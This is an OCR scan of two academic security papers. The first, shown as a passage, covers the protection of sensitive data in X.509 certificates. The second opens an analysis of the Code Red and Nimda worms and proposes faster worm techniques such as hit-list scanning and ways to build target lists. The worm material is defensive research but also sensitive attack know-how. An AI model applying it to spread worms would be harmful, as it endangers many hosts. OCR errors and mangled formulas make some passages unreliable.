for new certificates each month were still supplying de- 
mographics only to have them published itn VeriSign’s 
public LDAP directory. 


In retrospect, their response was not surprising. As An- 
derson points out [1], the real driving forces behind in- 
fonnation security issues commonly have more to do 
with perverse economic incentives than technical issues. 
When a party chooses to leave a potential security prob- 
lem in place rather than correct it, it may well be the 
result of their cost-benefit analysis. 


In this case, having the feature in place cost VeriSign 
nothing while removing the feature incurred cost and 
risk. Since the initial sites had all dropped support, no- 
body was paying for the privilege of accessing the data. 
Thus there was nobody to complain that others, who 
hadn’t paid a licensing fee, also had access. Despite 
any theoretical cost bome by unsuspecting users, 1t made 
economic sense to delay removal until there was inde- 
pendent cause to do so. 


3 The General Case 


The VeriSign CZAG extension ts just one example of a 
relatively common problem in X.509 deployments: how 
can a Certification Authority share sensitive information 
with some subset of relying parties without unnecessar- 
ily disclosing that tnformation to unauthorized parties. 


Thts problem arises in a surprising number of PKI de- 


ployments. For example, “Qualified Certificates” are de- 
signed for use in legally binding contexts and may con- 
tain a government—issued unmistakable identifier (e.g., 
social security or drivers license number)[ 13]. Yet broad 
publication of this identifier, bound to the associated 
subject name, may lower the barrier to identity theft. 
Other examples include patient identifiers, professional 
license numbers, and internal corporate usernames, host- 
names, or IP addresses. Even embedded authorization 
data may disclose information that is useful to both at- 
tackers and users. 


As a result, many system designers struggle with 
whether to include such tnfonnation and, if included, 
how to protect it. In the following scctions, we outline 
goals and design constraints that should be considered 
and then suggest some directions that may lead to appro- 
pliate solutions. We discuss embedding opaque identi- 
fiers that point to an online database, protecting the data 
with various key management schemes, and tools to al- 
low the user to control disclosure. 


We don’t further consider the obvious case of simply ac- 
cepting the risk posed by embedding sensitive informa- 
tion in certificates without further protection. 


3.1 Goals 


Although we implicitly touched upon many of the goals 
while discussing the CZAG example, it 1s useful to state 
these explicitly. Our overall objective is to make cer- 
tified information available to, and only to, a mutable 
subset of relying parties. We call members of this subset 
“trusted relying parties.” 


e Protect the confidentiality and integrity of data in 
storage and transmission, between the time the user 
submits it and a trusted relying party accesses It. 


e Prevent unauthorized parties from accessing the 
data at any time. 


e Allow strong access revocation for relying parties 
that were once authorized but are no longer. Ideally, 
once revoked, they will be unable to access any sen- 
sitive information. Practically, preventing access to 
information not already in their possession may be 
sufficient. 


e Trusted relying parties should be able to act inde- 
pendently. Changes to the set of trusted relying par- 
ties should only affect those parties whose status 
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has changed and not parties whose status has not 
changed (e.g., when one party’s access 1s revoked, 
there should be no effiect on other, still—authorized 
parties). 


3.2 Design Constraints 


The format of X.509 certificates and deployment model 
characteristics (e.g., on-line vs. off-line systems) com- 
bine to impose several design constraints on the prob- 
lem. These constraints eliminate many of the traditional 
solutions to similar problems. 


e Any data added to a certificate must be relatively 
small in size. Some applications impose a 2 kilo- 
byte limit on the overall certificate size, which lim- 
its the extension to about Lkb. 


e As aresult, any protection must not suffer from sig- 
nificant message expansion (e.g., a S/MIME blob 
would almost always exceed the size constraint). 


e Certificates remain static for relatively long periods 
of time (typically one year). Revocation and reis- 
suance Is a messy proposition at best. 


e [i most applications, not only may the certificate 
and its contents become public, they are assumed 
to be public knowledge. 


Designers must add their own goals and constraints to 
this baseline. For example, real-time communication 
with the Certification Authority may not be possible 
in off-line systems. Some on-line systems may have 
performance requirements that preclude additional net- 
work transactions during certificate validation. Finally, 
some systems may have legal restrictions imposed on the 
strength of the protection employed. Most systems be- 
ing deployed today, however, are database-centric and 
on-line, performing network transactions during certifi- 
cate validation (e.g., Online Certificate Status Protocol 
checks). 


3.3. Online Database 


The most obvious solution to this problem 1s to not em- 
bed the sensitive data in the public certificate at all. In- 
stead, the Certification Authority stores sensitive infor- 
mation in a centralized database. This information can 


be indexed by any of several values embedded tn the cer- 
tificate, including an opaque identifier, the subject dis- 
tinguished name, or the issuer name, sertal number pair 
(which is required to be unique within X.509). 


Trusted relying parties can query the database with their 
own credenttals and the index of the information de- 
sired. Assuming they are authorized, the information ts 
returned. Their interface to this database may be LDAP, 
a relational database protocol, or a custom application 
protocol. 


If additional protection against data modification while 
in storage 1s desired, the Certification Authority can use 
issue--time binding. One approach 1s to append a nonce 
to the information tn the database and including the hash 
of the information and nonce in the end—entity certifi- 
cate. The nonce prevents identical information from 
hashing to the same result. This allows the relying party 
to verify that the information has not changed since the 
ceitificate was generated. On the other hand, if the infor- 
mation needs frequent updates, issue—time binding may 
not be appropriate. 


The primary drawbacks to a database-centric solution 
are latency and the risk posed by a central database. Ad- 
ditionally, such ascheme is not practical for off-line sys- 
tems unless they can batch requests for later analysis. 


In return, the system can ensure that only authorized par- 
tics have access to the database and not expose cipher- 
texts to untrusted parties. Further, access revocation can 
be nearly instantaneous and totally independent. In this 
case, once a party's access has been revoked, they lose 
access to all data that they have not previously stored 
within their own systems. Finally, a database can allow 
finer gratned access control and greater flexibility under 
changing requirements. 


3.4 Key Management 


When the application requires that information be em- 
bedded in certificates (e.g., because it is off-line), better 
key management schemes can improve the security of 
this practice. 


First, the data should be better protected against crypt- 
analysis. One option 1s to use a block cipher with a ran- 
dom, per—certificate IV (1.e., 


MESTV rE. (dani) 


FEL 


Where Af is the resulting certificate extension, JV is the 
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random, per-certificate initialization vector, data 1s the 
sensitive data and k;,,, is the master encryption key). 


Alternatively, it is possible to encrypt the data with e1- 
ther a stream or block cipher using a per-certificate key 
derived from a single master key combined with unique 
information in the certificate (e.g., the public key or sub- 
ject distinguished name). In this case, 


ke cf (certs icate, Km) 


and 
M = k,(data) 


where k,, is a per-certificate key derived from the master 
key material and the certificate. 


Such simple approaches ensure that only those with 
proper key material can decrypt the data and are sufh- 
cient in a closed system where the Certification Author- 
ity is the only relying party.® In all other systems, revo- 
cation remains an issue. 


3.4.1 Key Rotation 


When the subset of trusted relying parties 1s small or 
only changes infrequently, it may be sufficient to have a 
single master key which is changed according to some 
fixed schedule. This allows a tradeoff between adminis- 
trative overhead and revocation speed.’ 


In general, administrative overhead ts directly related to 
frequency of key rotation. Worst--case revocation speed 
can be derived from key lifetime, 7},, certificate lifetime, 
T,., and key distribution lead time®, T,;. Loss of access to 
new data begins to take effect no later than 7}, + Ty, after 
revocation and requires an additional T;. to complete. 


For example, assume we generate certificates with one-- 
year validity periods, change keys annually, and dis- 
tribute keys one month before they are required. This 
approach causes very little additional overhead (just an- 
nual updates), but revocation speed is quite slow, with 
revoked parties unaffected for up to fourteen months 
and retaining access to some data for up to twenty-six 
months after revocation.” Similarly, when issuing six- 


6 Such systems are surprisingly common amongst closed public kcy 
infrastructures. 

’Revocation speed is the time required for a revocation event to 
result in loss of access for the revoked party. 

Key distribution lead time is how long prior to using a particular 
key we distribute it to trusted parties. 

"For example, consider a party who becomes unauthorized altcr 
the following year’s key has been distributed but before it has been put 
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month certificates with monthly key rotation and one- 
month key distribution lead time, revocation begins to 
take effect after two months and leaves revoked par- 
ties completely without access no more than six months 
later. However, this comes at a substantially greater cost 
in administrative overhead. 


One variation is to trade scheduled key rotation for re- 
active key rotation that only occurs when there has been 
a revocation. Each key rotation 1s typically more ex- 
pensive since it was unplanned, but there may be fewer 
overall key changes as a result. In this case, revocation 
begins to take effect after just 7, and requires another 7%. 
to complete. Unfortunately, each revocation of a single 
party requires all parties to change keys — a tremendous 
administrative burden. 


These approaches cause little message expansion, but 
significant administrative overhead. Additionally, they 
leave revoked parties with complete access for a signifi- 
cant period of time or penalize all parties when a single 
party 1s revoked. Fortunately, it is possible to reduce ad- 
ministrative overhead while improving revocation speed. 


3.4.2 Group Keys 


As the subset of trusted relying parties grows or changes 
more frequently, it may be more efficient and more ef- 
fective to randomly split the trusted parties into key 
groups. All parties within a single key group share a 
common key encryption key, 


The data is first encrypted using a randomly—generated, 
per—certificate data encryption key and that key is en- 
crypted with each group’s key encryption key. This po- 
tentially includes some spare keys which are not initially 
distributed to any parties. The resulting message 1s com- 
posed as 


a = Ey (KJ) Ex, (k.) hi uy EEG ctu, (Ke), Ey, (data) 


where k,. is the per--certificate data encryption key, n 1s 
the initial number of key groups, s 1s the number of spare 
group keys not initially distributed, and k through k,,4.. 
are the group key encryption keys. 


When a party’s access is revoked, their group’s key 1s 
removed from use (in future messages their key 1s used 


into use (e.g., Dee 15, 2001). A certilicate issued under that key on 
the last day of the key’s use (e.g., Dec 31, 2002) will remain valid and 
in circulation through Dec 30, 2003 (for a onc—ycar validity period) 
and the now -unauthorizcd party will have had acccss on a date for just 
over Lwo years after their authorization was revoked. 
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to encrypt a fixed, worthless value rather than the actual 
data encryption key). The remaining authorized parties 
within that group are given one of the spare keys or, if no 
spare keys remain, another group’s key. This effectively 
merges them into a new group. 


Compared to simple key rotation, group keys reduce ad- 
ministrative overhead and increase independence of the 
paities by localizing the effect of a revocation. Addition- 
ally, worst-case revocation spced matches the best—case 
when using key rotation alone. In the worst-case, a re- 
voked party begins to lose access to some data after 7), 
and has lost all access after 7. + Tj. 


The cost of group key management is primartly borne 
in Message expansion and size constraints limit us to a 
relatively small number of groups. Generally speaking, 
the maximum number of group keys, n + s, given a total 
space of S,, a plaintext message of size S,,,, and a key 
of size S, ism +s = |(S; — 5,,,)/S,|. For example, a 
250 byte message within a 1000 byte space would allow 
for 46 independent | 28-bit keys. 


Much more sophisticated approaches are used in the 
copy protection [11], and broadcast and multicast key 
management [21, 20] fields. 


3.55 Other Solutions 


Finally, it may make sense to depart from the X.509 
identity certificate approach completely, putting control 
of the information in the user’s hands. 


One option, though not widely supported, 1s to Is- 
sue X.509 attribute certificates for the user’s attributes. 
These certificates typically bind subject attributes to an 
entity, rather than an entity to a public key [10]. Used 
In conjunction with identity certificates, they would al- 
low users to authenticate with their identity certificate 
and then present the appropriate attribute certificate as 
necessary. Often, there may be one attribute certificate 
that contains all attributes. A more flexible approach is 
to generate one certificate per attribute. This allows the 
user to choose which attributes to disclose and which 
to hold private. Ease of use would depend on applica- 
tion support for managing groups of related attributes. 
X.509, however, expects the user to first authenticate 
their identity and then authenticate their attributes, but 
not the latter without the former. 


One variation on this concept simply binds attributes to 
a public key and foregoes the identity concept all to- 


gether. This allows the user to present the truly required 
data (e.g., “Is the presenter authorized?” or “Do their 
attributes meet certain criteria?) without actually forc- 
ing them to reveal their identity. Brands developed an 
early proposal of this idea in 1993 [2] based on many 
of the themes 1n Chaum’s work. This same concept 1s 
central to the Simple Public Key Infrastructure (SPKI) 
standards developed by Ellison and others [8]. 


These approaches give control to the user, who has the 
economic incentives to exert granular control over the 
information. 


4 Conclusion 


The inclusion of the CZAG extension in subscriber cer- 
tificates 1s representative of a more widespread temp- 
tation to use X.509v3 certificates as a carrier for many 
kinds of subject attributes not needed for the actual pur- 
pose of the certificate. Although subscribers had the op- 
portunity to opt—out of the feature, most did not. It 1s 
unlikely that many of these users realized their personal 
data was not just available to a few participating web 
sites, but was published on the Internet where it was 
readable by anyone given trivial effort. 


Organizations planning and deploying both open and 
closed public key infrastructures are frequently expected 
to embed sensitive or potentially sensitive information 
in user certificates. In the face of such requirements, 
designers must carefully consider the risks when devel- 
oping an appropriate certificate profile. Failure to do 
so may allow private data to leak outside the intended 
scope. 
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Abstract 


The ability of attackers to rapidly gain control of vast 
numbers of Internet hosts poses an immense risk to the 
overall security of the Internet. Once subverted, these 
hosts can not only be used to launch massive denial of 
service floods, but also to steal or corrupt great quantities 
of sensitive information, and confuse and disrupt use of 
the network in more subtle ways. 


We present an analysis of the magnitude of the threat. 
We begin with a mathematical model derived from em- 
pirical data of the spread of Code Red I in July, 2001. We 
discuss techniques subsequently employed for achiev- 
ing greater virulence by Code Red II and Nimda. In this 
context, we develop and evaluate several new, highly vir- 
ulent possible techniques: hit-list scanning (which cre- 
ates a Warhol worm), permutation scanning (which en- 
ables selfcoordinating scanning), and use of Internet- 
sized hit-lists (which creates a flash worm). 


We then turn to the to the threat of surreptitious worms 
that spread more slowly but in a much harder to detect 
“contagion” fashion. We demonstrate that such a worm 
today could arguably subvert upwards of 10,000,000 In- 
ternet hosts. We also consider robust mechanisms by 
which attackers can control and update deployed worms. 


In conclusion, we argue for the pressing need to de- 
velop a “Center for Disease Control’ analog for virus- 
and worm-based threats to national cybersecurity, and 
sketch some of the components that would go into such 
a Center. 
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1 Introduction 


If you can control a million hosts on the Internet, you 
can do enormous damage. First, you can launch dis- 
tributed denial of service (DDOS) attacks so immensely 
diffuse that mitigating them is well beyond the state-of- 
the-art for DDOS traceback and protection technologies. 
Such attacks couldreadily bring down e-commerce sites, 
news outlets, command and coordination infrastructure, 
specific routers, or the root name servers. 


Second, you can access any sensitive information 
present on any of those million machines—passwords, 
credit card numbers, address books, archived email, 
patterns of user activity, illicit content—even blindly 
searching for a “needle in a haystack,” 1.e., information 
that might be on a computer somewhere in the Internet, 
for which you trawl using a set of content keywords. 


Third, not only can you access this information, but you 
can sow confusion and disruption by corrupting the in- 
formation, or sending out false or confidential informa- 
tion directly from a user’s desktop. 


In short, if you could control a million Internet hosts, 
the potential damage is truly immense: on a scale where 
such an attack could play a significant role in warfare 
between nations or in the service of terrorism. 


Unfortunately it is reasonable for an attacker to gain con- 
trol of a million Internet hosts, or perhaps even ten mil- 
lion. The highway to such control lies in the exploita- 
tion of worms: programs that self-propagate across the 
Internet by exploiting security flaws in widely-used ser- 
vices. Internet-scale worms are not a new phenomenon 
[Sp89, ER89], but the severity of their threat has rapidly 
grown with (i) the increasing degree to which the In- 


' We distinguish between the worms discussed in this paper— 
active worms—and viruses (or email worms) in that the latter require 
some sort of user action to abet their propagation. As such, they tend to 
propagate more slowly. From an attacker’s perspective, they also suf- 
fer from the presence of a large anti-virus industry that actively seeks 
to identify and control their spread. 
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Figure 1: Onset of Code Red I v2, Code Red II, and Nimda: 
Number of remote hosts launching confirmed attacks corre- 
sponding to different worms, as seen at the Lawrence Berkeley 
National Laboratory. Hosts are detected by the distinct URLs 
they attempt to retrieve, corresponding to the IIS exploits and 
attack strings. Since Nimda spreads by multiple vectors, the 
counts shown for it may be an underestimate. 


ternet has become part of a nation’s critical infrastruc- 
ture, and (ii) the recent, widely publicized introduction 
of very large, very rapidly spreading Internet worms, 
such that this technique is likely to be particularly cur- 
rent in the minds of attackers. 


We present an analysis of the magnitude of the threat. 
We begin with a mathematical model derived from em- 
pirical data of the spread of Code Red I v2 in July and 
August, 2001 (Section 2). We then discuss techniques 
employed for achieving greater effectiveness and viru- 
lence by the subsequent Code Red IT and Nimda worms 
(Section 3). Figures 1 and 2 show the onset and progress 
of the Code Red and Nimda worms as seen “in the wild.” 


In this context, we develop the threat of three new 
techniques for highly virulent worms: hit-list scanning, 
permutation scanning, and Internet scale hit-lists (Sec- 
tion 4). Hit-list scanning is a technique for accelerat- 
ing the initial spread of a worm. Permutation scanning 
is a mechanism for distributed coordination of a worm. 
Combining these two techniques creates the possibility 
of a Warhol wom,” seemingly capable of infecting most 
or all vulnerable targets in a few minutes to perhaps an 
hour. An extension of the hit-list technique creates a 
flash worm, which appears capable of infecting the vul- 
nerable population in 10s of seconds: so fast that no 
human-mediated counter-res ponse ts possible. 


We then turn in Section 5 to the threat of a new class of 


2So named for the quotation “In the future, everyone will have 15 
minutes of fame.” 
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Figure 2: The endemic nature of Internet worms: Number 
of remote hosts launching confirmed attacks corresponding to 
different worms, as seen at the Lawrence Berkeley National 
Laboratory, over several] months since their onset. Since July, 
139,000 different remote Code Red I hosts have been con- 
firmed attacking LBNL; 125,000 different Code Red II hosts; 
and 63,000 Nimda hosts. Of these, 20,000 were observed to 
be infected with two different worms, and |,000 with all three 
worms. (Again, Nimda is potentially an underestimate because 
we are only counting those launching Web attacks.) 


surreptitious worms. These spread more slowly, butin a 
much harder to detect “contagion” fashion, masquerad- 
ing as normal traffic. We demonstrate that such a worm 
today could arguably subvert upwards of 10,000,000 In- 
ternet hosts. 


Then in Section 6, we discuss some possibilities 
by which an attacker could control the worm using 
cryptographically-secured updates, enabling it to remain 
a threat for a considerable period of time. Even when 
most traces of the worm have been removed from the 
network, such an “updatable’”’ worm still remains a sig- 
nificant threat. 


Having demonstrated the very serious nature of the 
threat, we then in Section 7 discuss an ambitious but 
we believe highly necessary strategy for addressing tt: 
the establishment at a national or international level 
of a “Center for Disease Control’ analog for virus- 
and worm-based threats to cybersecurity. We discuss 
the roles we envision such a Center serving, and offer 
thoughts on the sort of resources and structure the Cen- 
ter would require in order to do so. Our aim is not to 
comprehensively examine each role, but to spur further 
discussion of the issues within the community. 
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2 An Analysis of Code Red I 


The first version of the Code Red worm was initially 
seen in the wild on July 13th, 2001, according to Ryan 
Permeh and Marc Maiffret of Eeye Digital Security 
[EDSOla, EDSO1b], who disassembled the worm code 
and analyzed its behavior. The worm spread by compro- 
mising Microsoft IIS web servers using the .ida vulner- 
ability discovered also by Eeye and published June 18th 
[EDSOlc] and was assigned CVE number CVE-2001- 
0500 [CV01)}. 


Once it infected a host, Code-Red spread by launching 
99 threads which generated random IP addresses, and 
then tried to compromise those IP addresses using the 
same vulnerability. A hundredth thread defaced the web 
server in some Cases. 


However, the first version of the worm analyzed by 
Eeye, which came to be known as CRv I, had an apparent 
bug. The random number generator was initialized with 
a fixed seed, so that all copies of the worm in a particular 
thread, on all hosts, generated and attempted to compro- 
mise exactly the same sequence of IP addresses. (The 
thread identifier is part of the seeding, so the worm had a 
hundred different sequences that it explores through the 
space of IP addresses, but it only explored those hun- 
dred.) Thus CRv! had a linear spread and never com- 
promised many machines. 


On July 19th, 2001, a second version of the worm began 
to spread. This was suspected informally via mailing list 
discussion, then confirmed by the mathematical analysis 
we present below, and finally definitively confirmed by 
disassembly of the new woim. This version came to be 
known as CRv?2, or Code Red I. 


Code Red I v2 was the same codebase as CRv1 in al- 
most all respects—the only differences were fixing the 
bug with the random number generation, an end to web 
site defacements, and a DDOS payload targeting the IP 
address of www. whitehouse. gov. 


We developed a tentative quantitative theory of what 
happened with the spread of Code Red I worm. The new 
version spread very rapidly until almost all vulnerable 
IIS servers on the Internet were compromised. It stopped 
trying to spread at midnight UTC due to an internal con- 
straint in the worm that caused it to turn itself off. It then 
reactivated on August Ist, though for a while its spread 
was suppressed by competition with Code Red II (see 
below). However, Code Red II died by design [SAO1] 
on October 1, while Code Red I has continued to make 


a monthly resurgence, as seen in Figure 2. Why it con- 
tinues to gain strength with each monthly appearance re- 
mains unknown.° 


We call this model the Random Constant Spread (RCS) 
model. The model assumes that the worm had a good 
random number generator that ts properly seeded. We 
define N as the total number of vulnerable servers which 
can be potentially compromised from the Internet. (We 
make the approximation that N is fixed—ignoring both 
patching of systems during the worm spread and normal 
deploying and removing of systems or tuming on and 
off of systems at night. We also ignore any spread of the 
worm behind firewalls on private Intranets). 


K is the initial compromise rate. That is, the number 
of vulnerable hosts which an infected host can find and 
compromise per hour at the start of the incident, when 
few other hosts are compromised. We assume that / is 
a global constant, and does not depend on the processor 
speed, network connection, or location of the infected 
machine. (Clearly, constant K is only an approxima- 
tion.) We assume that a compromised machine picks 
other machines to attack completely at random, and that 
once a machine is compromised, it cannot be compro- 
mised again, or that if it is, that does not increase the 
rate at which it can find and attack new systems. We 
assume that once it 1s compromised, it stays that way. 


T’ is atime which fixes when the incident happens. 


We then have the following variables: 


e ais the proportion of vulnerable machines which 
have been compromised. 


e ¢ is the time (in hours). 


Now, we analyze the problem by assuming that at 
some particular time t, a proportion of the machines 
a have been compromised, and then asking how many 
more machines, N da, will get compromised in the next 
amount of time dt. The answer 1s: 


Nda = (Na)K(1 — a)dt. (1) 


The reason is that the number of machines compromised 
in the next increment of time is proportional to the num- 
ber of machines already compromised (/Va) times the 
number of machines each compromised machine can 


3One possibility is that, since the default install of Windows 2000 
server includes IIS, new vulnerable machines have been added to the 
Internet. 
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Figure 3: Hourly probe rate data for inbound port 80 at the 
Chemical Abstracts Service during the initial outbreak of Code 
Red I on July 19th, 2001. The z-axis is the hour of the day 
(CDT time zone), while the y-axis is probe rate, the number 
of different IP addresses seen, and a fit to the data discussed in 
the text. 


compromise per unit time (/(1 — a)), times the incre- 
ment of time (dt). (Note that machines can compromise 
K others per unit time to begin with, but only K -(1—a) 
once a proportion of other machines are compromised 
already.) 


This give us the differential equation: 


= = Ka(1—a) (2) 
with solution: 
oK(t-T) 
O= Typ ek ©) 


where J" is a constant of integration that fixes the time 
position of the incident. This equation has been well 
known for many years as the logistic equation, and gov- 
ems the rate of growth of epidemics in finite systems 
when all entities are equally likely to infect any other 
entity (which is true for randomized spreading among 
Internet-connected servers, in the absence of firewall fil- 
tering rules that differentially affect infectability from or 
to different addresses). 


This is an interesting equation. For early ¢ (significantly 
before 7’), a grows exponentially. For large ¢ (signifi- 
cantly after 7’), a goes to 1 (all vulnerable machines are 
compromised). The rate at which this happens depends 
only on K (the rate at which one machine can compro- 
mise others), and not at all on the number of machines. 
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This is interesting because it tells us that a worm like this 
can compromise all vulnerable machines on the Internet 
fairly fast. 


Figure 3 shows hourly probe rate data from Ken Eich- 
mann of the Chemical Abstracts Service for the hourly 
probe rate inbound on port 80 at that site. Also shown 
is a fit to the data with K = 1.8, 7’ = 11.9, and with 
the top of the fit scaled to a maximum probe rate of 
510,000 scans/hour. (We fit it to fall slightly below the 
data curve, since it seems there is a fixed background 
rate of web probes that was going on before the rapid 
rise due to the worm spread.) This very simple theory 
can be seen to give a reasonable first approximation ex- 
planation of the worm behavior. See also Section 4.3 for 
validation of the theory via simulation. 


Note that we fit the scan rate, rather than the number of 
distinct IPs seen at this site. The incoming scan rate seen 
at a site 1s directly proportional to the total number of in- 
fected IPs on the Internet, since there 1s a fixed probabil- 
ity for any worm copy to scan this particular site in the 
current time interval. However, the number of distinct 
IPs seen at a site is distorted relative to the overall in- 
fection curve. This is because a given worm copy, once 
it is infected, will take some amount of time before it 
gets around to scanning any particular site. For a small 
address space, this delay can be sizeable and causes the 
distinct IP graph at the given site to lag behind the over- 
all Internet infection rate graph. 


Two implications of this graph are interesting. One is 
that the worm came close to saturating before it tumed 
itself off at midnight UTC (1900 CDT), as the num- 
ber of copies ceased increasing a few hours before the 
worm’s automatic tumoff. Thus it had found the bulk of 
the servers it was going to find at this time. Secondly, 
the infection rate was about 1.8 per hour—in the early 
stages of the infection, each infected server was able to 
find about 1.8 other servers per hour. 


Although Code Red I turned itself off at midnight UTC 
on July 19th, hosts with inaccurate clocks kept it alive 
and allowed it to spread again when the worm code al- 
lowed it to re-awaken on August Ist. Figure 4 shows 
similar data and fit for that incident. The K here is about 
0.7. Since the worm code-base was the same, this lower 
spread rate indicates that the number of vulnerable sys- 
tems was a little less than 40% as many as the first time 
around. That is, the data appears consistent with slightly 
more than half the systems having been fixed in the 11 
days intervening. 
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Figure 4: Hourly probe rate data for inbound port 80 at the 
Chemical Abstracts Service, for Code Red I’s reemergence on 
August Ist. The x-axis the time of day on August Ist (Central 
US Time). The y-axis shows the monitored probe rate and a fit 
for the data discussed in the text. 


3 “Better”? worms—practice 


In this section, we explore the strategies adopted by the 
two major worms released subsequent to Code Red I: 
“Code Red IT’ and “‘Nimda.” 


3.1 Localized scanning—Code Red II 


The Code Red II worm was released on Saturday August 
4th, 2001 and spread rapidly [CEO1, SAO1). The worm 
code contained a comment stating that it was “Code 
Red II,” but it was an unrelated code base. It did use the 
same vulnerability, however—a buffer overflow in Mi- 
crosoft’s IIS Web server with CVE number CVE-2001- 
0500. When successful, the payload installed a root 
backdoor allowing unrestricted remote access to the in- 
fected host. The worm exploit only worked correctly 
when IIS was running on Microsoft Windows 2000; on 
Windows NT it caused a system crash rather than an in- 
fection. 


The worm was also a single-stage scanning worm that 
chose random IP addresses and attempted to infect them. 
However, it used a localized scanning strategy, where it 
was differentially likely to attempt to infect addresses 
close to it. Specifically, with probability 3/8 it chose a 
random JP address from within the class B address space 
(/16 network) of the infected machine. With probability 
1/2 it chose randomly from its own class A (/8 network). 


Finally, with probability 1/8 it would choose a random 
address from the whole Internet. 


This strategy appears quite successful. The localized 
spreading allows the worm to quickly infect parts of the 
Internet that contain many vulnerable hosts, and also 
means that the infection often proceeds quicker since 
hosts with similar IP addresses are often close together 
in the network topology also. This strategy also allows a 
worn to spread very rapidly within an internal network 
once it manages to pass through the external firewall. 


Unfortunately, developing an analytic model for the 
spread of a worm employing this type of localized scan- 
ning strategy is significantly more difficult than the mod- 
eling effort in Section 2, because it requires incorpo- 
rating potentially highly non-homogeneous patterns of 
population locality. The empirical data is also harder 
to interpret, because Code Red I was quite active when 
Code Red II was released. Indeed, it appears that Code 
Red II took a while to overcome Code Red I (see Fig- 
ure |), but fully determining the interplay between the 
two appears to be a significant undertaking. 


3.2. Maulti-vector worms—Nimda 


As well illustrated by the Nimda worm/virus (and, in- 
deed, the original Internet Worm [Sp89, ER89]), malev- 
olent code is not restricted to a single technique. Nimda 
began on September 18th, 2001, spread very rapidly, 
and maintained itself on the Internet for months after it 
started. Nimda spread extensively behind firewalls, and 
illustrates the ferocity and wide reach that a multi-mode 
worm can exhibit. The worm is thought to have used at 
least five different methods to spread itself. 


By infecting Web servers from infected client ma- 
chines via active probing for a Microsoft IIS vul- 
nerability (CVE-2000-0884). 


e By bulk emailing of itself as an attachment based 
on email addresses determined from the infected 
machine. 


e By copying itself across open network shares 


e By adding exploit code to Web pages on com- 
promised servers in order to infect clients which 
browse the page. 


By scanning for the backdoors left behind by Code 
Red II and also the “sadmind” worm [CE03]. 
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Figure 5: HTTP connections per second seen at the 


Lawrence Berkeley National Laboratory, rising due to the on- 
set of Nimda, September 18. 


Figure 5 illustrates how rapidly the worm tried to in- 
fect one site, the Lawrence Berkeley National Labora- 
tory. The z-axis plots hours past midnight, PDT, while 
the y-axis plots HTTP connection attempts per second. 
Only connections from hosts confirmed to have harbored 
Nimda are counted, to avoid possible confusion with 
concurrent Code Red connection attempts. After the on- 
set of the infection, the total rate of probing was about 
3 times that from the hosts subsequently confirmed to 
harbor Nimda. 


Clearly, onset was quite rapid, rising in just half an hour 
from essentially no probing to a sustained rate of nearly 
100 probes/sec. 


There is an additional synergy in Nimda’s use of mul- 
tiple infection vectors: many firewalls allow mail to 
pass untouched, relying on the mail servers to re- 
move pathogens. Yet since many mail servers remove 
pathogens based on signatures, they aren’t effective dur- 
ing the first few minutes to hours of an outbreak, giving 
Nimda a reasonably effective means of crossing firewalls 
to invade internal networks. 


Finally, we note that Nimda’s full functionality is still 
not known: all that is known is how it spreads, but not 
what it might be capable of doing in addition to spread- 
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ing, if it receives the right trigger, or a prearranged time 
rolls around. We return to this point in Section 7. 


4 ‘Better’? worms—theory 


There are several techniques which, although not yet em- 
ployed, could further significantly increase the virulence 
of a worm. Beyond the obvious factors of discover- 
ing more widespread security holes and increasing the 
scanning rate, some additional strategies a worm author 
could employ are: (i) hit-list scanning, (ii) permutation 
scanning, (iii) topologically aware worms, and (iv) In- 
termet scale hit-lists. The goal is very rapid infection—in 
particular, considerably faster than any possible human- 
mediated response. 


A worm’s scanner can obviously be made significantly 
faster than the ones seen today, by careful use of thread- 
ing and an understanding of the protocols. By having 
many requests outstanding, a worm should be capable 
of scanning targets at a rate proportional to its access 
bandwidth. Since it only takes 40 bytes for a TCP SYN 
packet to determine if a service is accessible, and often 
only a few hundred bytes to attempt an exploit, the po- 
tential scans per second can easily exceed 100 for even 
poor Internet connections. This increases K by allow- 
ing a worm to search for a greater number of targets in a 
given period of time. 


Similarly, the more widespread the vulnerable software 
is, the faster a worm using that vulnerability can spread, 
because each random scan of the network is more likely 
to pick up a target, also increasing K. We should there- 
fore expect that worm authors will devote considerable 
scrutiny to highly homogeneous, highly deployed ser- 
vices, both for the faster spreading and for the greater 
number of machines that could be compromised in a sin- 
gle attack. 


4.1 Hit-list Scanning 


One of the biggest problems a worm faces in achieving 
a very rapid rate of infection is “getting off the ground.” 
Although a worm spreads exponentially during the early 
stages of infection, the time needed to infect say the first 
10,000 hosts dominates the infection time, as can be seen 
in Figure 3. 


There is a simple way for an active worm to overcome 
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this obstacle, which we term hit-list scanning. Before 
the worm is released, the worm author collects a list of 
say 10,000 to 50,000 potentially vulnerable machines, 
ideally ones with good network connections. The worm, 
when released onto an initial machine on this hit-list, be- 
gins scanning down the list. When it infects a machine, 
it divides the hit-list in half, communicating half to the 
recipient worm, keeping the other half. 


This quick division ensures that even if only 10-20% of 
the machines on the hit-list are actually vulnerable, an 
active worm will quickly go through the hit-list and es- 
tablish itself on all vulnerable machines in only a few 
seconds. Although the hit-list may start at 200 kilo- 
bytes, it quickly shrinks to nothing during the partition- 
ing. This provides a great benefit in constructing a fast 
worm by speeding the initial infection. 


The hit-list needn’t be perfect: a simple list of machines 
running a particular server type may suffice, although 
greater accuracy will improve the spread. The hit-list 
itself can be generated using one or several of the fol- 
lowing techniques, prepared well in advance, generally 
with little fear of detection. 


e Stealthy scans. Portscans are so common and so 
widely ignored that even a fast scan of the entire 
Internet would be unlikely to attract law enforce- 
ment attention or more than mild comment in the 
incident response community. However, for attack- 
ers wishing to be especially careful, a randomized 
stealthy scan taking several months would be very 
unlikely to attract much attention, as most intrusion 
detection systems are not currently capable of de- 
tecting such low-profile scans. Some portion of the 
scan would be out of date by the time it was used, 
but much of it would not. 


e Distributed scanning. An attacker could scan the 
Intemet using a few dozen to a few thousand 
already-compromised “zombies,” similar to what 
DDOS attackers assemble in a fairly routine fash- 
ion. Such distributed scanning has already been 
seen in the wild—Lawrence Berkeley National 
Laboratory received 10 during the past year. 


e DNS searches. Assemble a list of domains (for ex- 
ample, by using widely available spam mail lists, or 
trolling the address registries). The DNS can then 
be searched for the IP addresses of mail-servers 
(via MX records) or Web servers (by looking for 
www.domain.com). 


e Spiders. For Web server worms (like Code Red), 
use Web-crawling techniques similar to search en- 


gines in order to produce a list of most Internet- 
connected Web sites. This would be unlikely to at- 
tract serious attention. 


e Public surveys. For many potential targets there 
may be surveys available listing them, such as the 
Netcraft survey [Ne02]. 


e Just listen. Some applications, such as peer-to- 
peer networks, wind up advertising many of their 
servers. Similarly, many previous worms effec- 
